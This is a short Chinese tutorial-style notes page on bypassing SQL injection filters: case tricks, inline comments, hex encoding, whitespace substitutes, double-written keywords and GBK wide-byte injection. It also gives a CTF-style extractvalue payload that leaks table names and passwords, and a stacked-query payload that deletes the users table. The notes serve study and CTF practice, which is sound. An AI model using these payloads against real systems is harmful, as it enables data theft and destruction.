sql的一些些绕过方式?(随便记一下)

大小写绕过

数据库使用不区分大小写的方式处理sql关键字。

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

编码绕过

  • Hex 编码:将 SQL 关键字编码为十六进制值,这样过滤机制就不会识别它们。例如,SELECT 编码为 0x53454C454354。

空格过滤绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

1
2
3
4
5
6
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

多语句注入

多语句意思就是可以执行多个语句,利用分号进行隔开

1
2
3
示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+
id=1';select if(length(user(),1,1)>1,sleep(3),1) %23
';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23

双写绕过

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

宽字节注入

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

转义函数

addslashes函数

对单引号(’)、双引号(“)、反斜线()与x00 (NULL字符)


magic_quotes_gpc函数

判断解析用户提交的数据,有post、get、cookie数据时增加转义字符“\”

通常情况下,SQL注入点是通过单引号来识别的。但当数据经过 addslashes() 处理时,单引号会被转义成无功能性字符,在判断注入点时失效。攻击者利用宽字节字符集(如GBK)将两个字节识别为一个汉字,绕过反斜线转义机制,并使单引号逃逸,实现对数据库查询语句的篡改。

假设有以下测试payload:

1
2
输入payload: ' or 1=1 #
经过 addslashes() 后:\' or 1=1 #

分析:’的url编码是%27,经过addslashes()以后,’就变成了',对应的url编码就是%5c%27

针对上述情况,可以构造绕过payload:

1
2
构造绕过payload: %df' or 1=1 #
经过 addslashes() 后: %df\' or 1=1 #

分析:我们在payload中的’之前加了一个字符%df,经过addslashes()以后,%df’就变成了%df',对应的URL编码为:%df%5c%27。 当MySQL使用GBK编码时,会将%df%5c 解析成一个字,从而使得单引号%27成功逃逸。

分号前加上%83进行宽字节注入

某题报错(过滤了空格等于号…)

用’^’来连接函数,形成异或(异或:不相同时执行)

?username=admin&password=admin’^extractvalue(1,concat(0x5c,(select(database()))))%23

等于号过滤了可以用like

?username=admin&password=admin’^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’))))%23

用extractvalue()函数,一次只能显示32个字符,用right

?username=admin&password=admin’^extractvalue(1,concat(0x5c,(select(right(password,20))from(H4rDsq1))))%23

rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样